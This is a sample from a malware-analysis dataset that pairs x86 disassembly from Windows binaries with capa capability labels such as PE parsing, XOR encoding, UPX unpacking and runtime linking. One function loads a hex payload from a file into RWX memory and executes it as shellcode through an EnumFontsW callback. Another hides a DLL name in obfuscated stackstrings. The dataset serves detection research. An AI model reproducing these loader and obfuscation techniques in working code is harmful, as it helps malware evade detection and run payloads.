joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100122d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100122fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100122fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x401ad0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
cmp byte [esi + 4], 0
je 0x401b75
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x401b75
xor edx, edx
div dword [esi + 0x3cc]
test edx, edx
jne 0x401b75
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], edx
mov dword [ebp + 8], ecx
test eax, eax
je 0x401b74
push ebx
lea ebx, [esi + 0x3f4]
mov edx, dword [ebp + 8]
push edx
mov ecx, edi
call fcn.00401420
cmp byte [esi + 4], 0
mov eax, dword [ebp + 8]
je 0x401b41
xor ecx, ecx
cmp dword [esi + 0x3cc], ecx
jle 0x401b41
mov dl, byte [ebx + ecx]
xor byte [eax], dl
inc ecx
inc eax
cmp ecx, dword [esi + 0x3cc]
jl 0x401b32
mov eax, dword [esi + 0x3cc]
push eax
push edi
push ebx
call fcn.00406a20
mov eax, dword [esi + 0x3cc]
add dword [ebp + 8], eax
add edi, eax
mov eax, dword [ebp + 0x10]
xor edx, edx
div dword [esi + 0x3cc]
mov ecx, dword [ebp - 4]
inc ecx
add esp, 0xc
mov dword [ebp - 4], ecx
cmp ecx, eax
jb 0x401b14
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4027f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x41ca7c
mov esi, eax
lea eax, [ebp - 4]
push str.mim2.txt
push eax
mov dword [ebp - 4], 0
call fcn.00405df4
add esp, 0xc
test eax, eax
jne 0x402869
mov eax, dword [ebp - 4]
test eax, eax
je 0x402869
push 2
push 0
push eax
call fcn.00406330
mov ecx, dword [ebp - 4]
push ecx
call fcn.00406241
mov edx, dword [ebp - 4]
push edx
mov dword [esi], eax
call fcn.00405c7a
mov esi, dword [esi]
push esi
call fcn.00405be6
mov edi, eax
mov eax, dword [ebp - 4]
push eax
push esi
push 1
push edi
call fcn.00406090
mov ecx, dword [ebp - 4]
push ecx
call fcn.00406419
add esp, 0x2c
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call fcn.00406710
int3
Function at 0x402a70
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415788
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x41f670]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x4c]
call fcn.004027f0
mov ecx, dword [ebp - 0x4c]
push ecx
xor esi, esi
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x48], 0
call fcn.004020e0
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], esi
call fcn.00402880
mov ebx, dword [ebp - 0x2c]
add esp, 8
cmp dword [ebp - 0x18], 0x10
jae 0x402adf
lea ebx, [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, edi
shr eax, 1
push 1
push eax
mov dword [ebp - 0x50], eax
call fcn.00405ba6
add esp, 8
cmp dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], eax
jbe 0x402b21
mov ecx, dword [ebp - 0x4c]
lea edx, [esi + ecx]
push edx
push str._02x
push ebx
call fcn.00405b84
mov edi, dword [ebp - 0x1c]
mov eax, edi
inc esi
shr eax, 1
add esp, 0xc
add ebx, 2
cmp esi, eax
jb 0x402afd
push 0x40
push 0x1000
shr edi, 1
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x4c]
push edi
mov esi, eax
push ecx
push esi
call fcn.004051b0
add esp, 0xc
push 0
push esi
push 0
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EnumFontsW]
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x402b6d
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00404fda
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
cmp dword [ebp - 0x34], esi
jb 0x402b90
mov eax, dword [ebp - 0x48]
push eax
call fcn.00404fda
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404fcb
mov esp, ebp
pop ebp
ret

Function at 0x404fcb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f670]
jne 0x404fd5
repz ret
jmp fcn.0040a055
Function at 0x413294
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f670]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040ade7
and dword [ebp - 0x14], 0
cmp dword [0x4212e4], 0
mov dword [ebp - 0x18], eax
jne 0x413347
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4133ef
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4133ef
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4212e4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4212e8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4212ec], eax
call edi
push eax
call esi
mov dword [0x4212f4], eax
test eax, eax
je 0x413347
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4212f0], eax
mov eax, dword [0x4212f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4133a0
cmp dword [0x4212f4], ecx
je 0x4133a0
push eax
call esi
push dword [0x4212f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4133a0
test ebx, ebx
je 0x4133a0
call edi
test eax, eax
je 0x413397
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413397
test byte [ebp - 8], 1
jne 0x4133a0
or dword [ebp + 0x10], 0x200000
jmp 0x4133d3
mov eax, dword [0x4212e8]
cmp eax, dword [ebp - 0x18]
je 0x4133d3
push eax
call esi
test eax, eax
je 0x4133d3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4133d3
mov eax, dword [0x4212ec]
cmp eax, dword [ebp - 0x18]
je 0x4133d3
push eax
call esi
test eax, eax
je 0x4133d3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4212e4]
call esi
test eax, eax
je 0x4133ef
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4133f1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404fcb
leave
ret
Function at 0x41ef4f
Capabilities:
Write file on windows

Disassembly:
push 0x58
mov eax, 0x470ade
call fcn.00434a16
mov edi, ecx
mov eax, dword [ebp + 8]
push dword [edi + 8]
mov eax, dword [eax + 0x224]
mov esi, dword [eax + 8]
push esi
push 1
push dword [eax + 4]
call fcn.004566c5
add esp, 0x10
cmp eax, esi
je 0x41efc5
lea eax, [edi + 0xc]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0041a5d4
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x64]
push str.Failed_writing_to_file
push eax
call fcn.0040f673
add esp, 0x14
mov esi, eax
mov byte [ebp - 4], 1
call fcn.004501a8
lea ecx, [ebp - 0x34]
push dword [eax]
push esi
call fcn.004134cd
push 0x491d84
lea eax, [ebp - 0x34]
push eax
call fcn.0044e83c
call fcn.004349c0
ret 4
Function at 0x408688
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4352e4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4086a5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4086d3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4086ae
mov dword [ecx*4 + 0x4352e0], eax
inc ecx
cmp ecx, 0x100
jne 0x4086a7
jmp 0x408699
cmp edx, ebx
je 0x4086ec
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4352e0]
jmp 0x4086d3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x40117a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x40117a
lcall 0x5de5, 0x8b10c483
jmp fcn.007edf3c
Function at 0x41471c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push esi
push edi
push 0x10
pop ecx
mov esi, eax
lea edi, [ebp - 0x148]
push 0x40
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x140]
pop ecx
mov edx, dword [eax + 0x2c]
xor edx, dword [eax + 0x18]
xor edx, dword [eax - 8]
xor edx, dword [eax]
add eax, 4
dec ecx
mov dword [eax + 0x34], edx
jne 0x41473d
and dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov edx, dword [ebp + 0x14]
mov ecx, eax
shl eax, 5
shr ecx, 0x1b
or ecx, eax
mov eax, dword [ebp - 4]
add ecx, dword [ebp + eax*4 - 0x148]
push 0x14
add ecx, dword [edx]
cdq
pop edi
idiv edi
sub eax, 0
je 0x4147d1
dec eax
je 0x4147bc
dec eax
je 0x41479c
dec eax
jne 0x4147ec
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
xor eax, dword [edx]
xor eax, dword [ebx]
lea ecx, [ecx + eax - 0x359d3e2a]
jmp 0x4147ec
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
mov edi, eax
or edi, edx
and edi, dword [ebx]
and eax, edx
or edi, eax
mov dword [ebp - 8], edx
lea ecx, [ecx + edi - 0x70e44324]
jmp 0x4147ec
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
xor eax, dword [edx]
xor eax, dword [ebx]
lea ecx, [ecx + eax + 0x6ed9eba1]
jmp 0x4147ec
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edi, dword [ebp + 0x10]
mov edi, dword [edi]
mov edx, eax
not edx
and edx, dword [ebx]
and edi, eax
or edx, edi
lea ecx, [ecx + edx + 0x5a827999]
mov eax, dword [ebx]
mov edx, dword [ebp + 0x14]
mov dword [edx], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edi, eax
shr eax, 2
shl edi, 0x1e
or edi, eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x50
mov dword [edx], edi
mov eax, dword [esi]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov dword [esi], ecx
jl 0x414755
pop edi
pop esi
leave
ret

Function at 0x710c6b
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push 0x7109ec
pop eax
and ecx, ecx
mov ebx, ecx
call fcn.00710c93
and ebx, ecx
xor dword [edi], eax
or ecx, ecx
inc edi
sub ebx, ecx
add ebx, 0xef5ac94d
inc ecx
cmp edi, esi
jne fcn.00710c6b
add ecx, ebx
ret
Function at 0x408320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.004017a0
mov eax, dword [0x40c044]
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x25], 0x7545666f
mov dword [ebp - 0x21], 0x77616653
mov dword [ebp - 0x1d], 0x58686356
mov dword [ebp - 0x19], 0x6b757475
mov dword [ebp - 0x15], 0x4669464e
mov dword [ebp - 0x11], 0x6c6c642e
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x25]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4083ab
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_load_DLL._Error_code:__d_n
call fcn.00408434
mov eax, 1
jmp 0x40841a
mov dword [esp + 4], str.kzGbwRheYaIfKibrUSge
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x408400
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_get_function_address._Error_code:__d_n
call fcn.00408434
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 1
jmp 0x40841a
mov eax, dword [ebp - 0x34]
call eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 0
mov edx, dword [ebp - 0xc]
sub edx, dword [0x40c044]
je 0x40842a
call fcn.004016b0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x15a4610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f9000]
push edi
jmp 0x15a462a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x15a4631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x15a4620
mov eax, 1
add ebx, ebx
jne 0x15a4643
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x15a4654
jne 0x15a4673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x15a4673
dec eax
add ebx, ebx
jne 0x15a4660
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x15a4638
add ebx, ebx
jne 0x15a466f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x15a46c5
xor ecx, ecx
sub eax, 3
jb 0x15a468b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x15a46fa
sar eax, 1
mov ebp, eax
jmp 0x15a4696
add ebx, ebx
jne 0x15a4696
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x15a4664
inc ecx
add ebx, ebx
jne 0x15a46a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x15a4664
add ebx, ebx
jne 0x15a46b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x15a46a6
jne 0x15a46c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x15a46a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x15a46e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x15a46d6
jmp 0x15a4626
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x15a46e4
add edi, ecx
jmp 0x15a4626
pop esi
mov edi, esi
mov ecx, 0x44c04f
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x15a471f
cmp byte [edi], 0x82
jne 0x15a4704
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x15a4702
lea edi, [esi + 0x9e3000]
mov eax, dword [edi]
or eax, eax
je 0x15a4770
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa1ede8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa1ee24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x15a4725
mov ecx, edi
jns 0x15a4754
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa1ee28]
or eax, eax
je 0x15a476a
mov dword [ebx], eax
add ebx, 4
jmp 0x15a4742
call dword [esi + 0xa1ee38]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x15a47a1
cmp al, 0xef
ja 0x15a4794
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x15a4776
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x15a4783
mov ebp, dword [esi + 0xa1ee2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x15a47d5
sub esp, 0xffffff80
jmp 0xf8c3e7
Function at 0x420110
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004269a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004269a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x420170
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xc7a07c]
test esi, esi
jle 0x420290
mov eax, dword [0xc7a080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4201a4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x420227
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x420190
mov dword [esp], ebx
call fcn.00420af0
mov edi, eax
test eax, eax
je 0x4202b7
mov eax, dword [0xc7a080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00420c30
mov edx, dword [0xc7a080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x420297
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x420220
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x420230
add dword [0xc7a07c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xc7a080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x420220
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00420110
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4201ae
mov eax, dword [0xc7a080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00420110
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00420110
lea esi, [esi]
nop
Function at 0x420770
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xc7a098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xc7a090]
sub esp, 4
test ebx, ebx
je 0x4207c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4207be
test esi, esi
je 0x4207be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4207a0
mov dword [esp], 0xc7a098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x420af0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x420b15
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x420b20
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x420b15
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x420b68
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x420b5e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x420b6a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x420b50
xor eax, eax
pop ebx
pop esi
ret